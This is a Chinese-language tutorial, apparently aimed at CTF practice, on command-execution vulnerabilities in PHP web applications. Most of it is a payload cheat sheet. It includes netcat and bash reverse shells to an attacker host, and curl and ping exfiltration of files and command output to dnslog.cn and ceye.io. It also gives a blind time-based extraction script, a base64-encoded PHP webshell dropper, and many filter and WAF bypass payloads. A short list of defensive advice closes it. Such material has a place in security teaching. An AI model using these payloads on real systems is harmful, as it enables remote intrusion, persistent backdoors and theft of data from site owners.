保姆级命令执行总结
字数 1394 2025-08-19 12:41:22
命令执行漏洞全面指南
一、系统命令基础
1.1 系统命令简介
系统命令是在系统终端可执行的预定义命令:
- Linux默认存储位置:
/bin - Windows默认存储位置:
C:\Windows\System32
1.2 管道符
Windows管道符:
|:直接执行后面的语句||:前面命令错误则执行后面语句&:无论前面真假都执行前后命令&&:前面为真才执行两条命令
Linux管道符(额外包含):
;:作用同&
1.3 通配符(Linux)
?:代替任意一个字符*:代替0-任意个字符
示例:
cat flag == cat fla? == cat f*
1.4 重定向(Linux)
>:覆盖写入文件>>:追加写入文件
示例:
ls > file.txt # 覆盖写入
> file.txt # 创建空文件
ls >> file.txt # 追加写入
1.5 常见系统命令
Windows常用命令:
ipconfig:查看网络配置type:查看文件内容cd:目录跳转ping:测试连通性dir:列出目录whoami:查看当前用户
Linux常用命令:
ls:列出目录cd:目录跳转rm:删除mv:重命名whoami:查看当前用户uname -a:系统信息ifconfig:网络配置ping:测试连通性touch:创建文件mkdir:创建目录
文件读取命令:
cat/tac/more/less/head/tail/nl/vim/vi/nano/emacs
sed -n '1,10p'/rev/base64/strings/xxd/hexdump/od/uniq
其他实用命令:
-
find:查找文件find / -name flag find / -name f* find / -name fla? -
sed:行替换sed -i '2s/x\.x\.x\.x/150.158.24.228/' filename -
echo+base64写入echo 'base64数据' | base64 -d > filename
二、命令执行漏洞利用
2.1 system类命令执行
示例代码:
<?php system($_POST['1']); ?>
2.1.1 无回显RCE技术
- 反弹shell技术
-
VPS准备:需要公网服务器(华为云/腾讯云/阿里云)
-
NC反弹:
-
正向连接:
# Linux靶机 nc -e /bin/bash -lvvnp 端口 # Win靶机 nc -e cmd -lvvnp 端口 # 攻击机 nc 靶机ip 端口 -
反向连接:
# Linux靶机 nc -e /bin/bash 攻击机ip 端口 # Win靶机 nc -e cmd 攻击机ip 端口 # 攻击机 nc -lvvnp 端口
-
-
Bash反弹:
# 攻击机 nc -lvvnp 端口 # 靶机 bash -c "bash -i >& /dev/tcp/攻击机ip/端口 0>&1"
-
数据写出技术
cp flag.php 1.txtmv flag.php 1.txtls > 1.txtls | tee 1.txtls | script 1.txt
-
数据外带技术
- 使用平台:http://dnslog.cn 或 http://ceye.io
- 单行传输:
ping `whoami`.dns地址 curl http://dns地址/`whoami` - 多行传输:
curl http://ceye.io/`ls / | base64` curl -T /flag http://ceye.io/
-
盲注技术
import requests import string import time url = 'http://localhost.test.php/?c=' dic = string.printable[:-6] flag = '' for i in range(1,50): for j in dic: payload = f'{url}a=$(cat /flag | head -1 | cut -b {i});if [ $a = {j} ];then sleep 2;fi' start = time.time() requests.get(payload) if time.time() - start > 1: flag += j print(flag) break
2.1.2 命令行写shell
echo 'PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8=' | base64 -d > ./123.php
# 解码后:<?php eval($_POST[1]);?>
2.1.3 长度限制绕过
示例payload:
`$F `; sleep 3
截取后执行:
eval("``$F `;sleep 3`");
# 等价于 shell_exec("`$F `; sleep 3");
2.1.4 命令绕过技术
-
空格绕过:
cat${IFS}flag.php cat$IFS$9flag.php cat<flag.php cat<>flag.php -
字符串拼接:
a=l;b=s;$a$b / -
编码绕过:
- Base64:
echo bHMgLw== | base64 -d | bash - 16进制:
echo 6c73202f | xxd -r -p | bash
- Base64:
-
引号绕过:
ca''t flag ca""t flag -
反斜杠:
l\s / ca\t f\lag -
IP绕过:
- 127.0.0.1 → 2130706433 或 0x7F000001
-
正则绕过:
cat [e-g]lag cat f{k..m}ag -
内联执行:
cat `ls` -
黑洞绕过:
ls || >/dev/null 2>&1
2.1.5 特殊绕过技术
-
绕过open_basedir:
<?php ini_set('open_basedir', '/path/to/directory:/another/directory'); ?> -
绕过disable_function:
$a=fopen("flag.php","r"); while(!feof($a)) { echo fgets($a); }
2.2 eval类命令执行
示例代码:
<?php eval($_POST['1']); ?>
2.2.1 无字母数字RCE
-
取反绕过:
(~%8C%86%8C%8B%9A%92)(~%8B%9A%92%9E%98%D1%8F%97%8F); # 等价于 system('ls /'); -
异或绕过:
("%08%08%08%08"^"%7b%7b%7b%7b")("%08%08%08%08%08%08"^"%7b%7b%7b%7b%7b%7b"); -
或绕过:
("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%0c%13%00%00"|"%60%60%60%60"); -
自增绕过:
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;...; # 最终构造出 assert($_POST[_]); -
临时文件执行:
import requests while True: url = "http://url/?c=.+/???/????????[@-[]" r = requests.post(url, files={"file": ('1.php', b'cat flag.php')}) if "flag" in r.text: print(r.text) break
2.2.2 无参数RCE
示例代码:
if(';' === preg_replace('/[^\W]+$(?R)?$/', '', $_GET['code'])) {
eval($_GET['code']);
}
常用函数组合:
show_source(next(array_reverse(scandir(current(localeconv())))));
highlight_file(array_rand(array_flip(scandir(getcwd()))));
print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));
特殊技术:
-
session_id:
eval(hex2bin(session_id(session_start()))); # Session值:phpsessid=706870696e666f28293b (phpinfo();的hex) -
getallheaders:
eval(array_pop(getallheaders())); # 请求头添加:ZZZZZ=phpinfo(); -
get_defined_vars:
eval(pos(next(array_reverse(get_defined_vars()))));
2.2.3 绕过技术
-
16进制绕过:
"\x77\x61\x66\x2e\x70\x68\x70" # "waf.php" -
chr函数绕过:
chr(119).chr(97).chr(102).chr(46).chr(112).chr(104).chr(112)
三、防御建议
- 严格过滤所有用户输入
- 使用白名单替代黑名单
- 禁用危险函数(如eval、system等)
- 设置open_basedir限制目录访问
- 及时更新系统和应用补丁
- 使用最小权限原则运行服务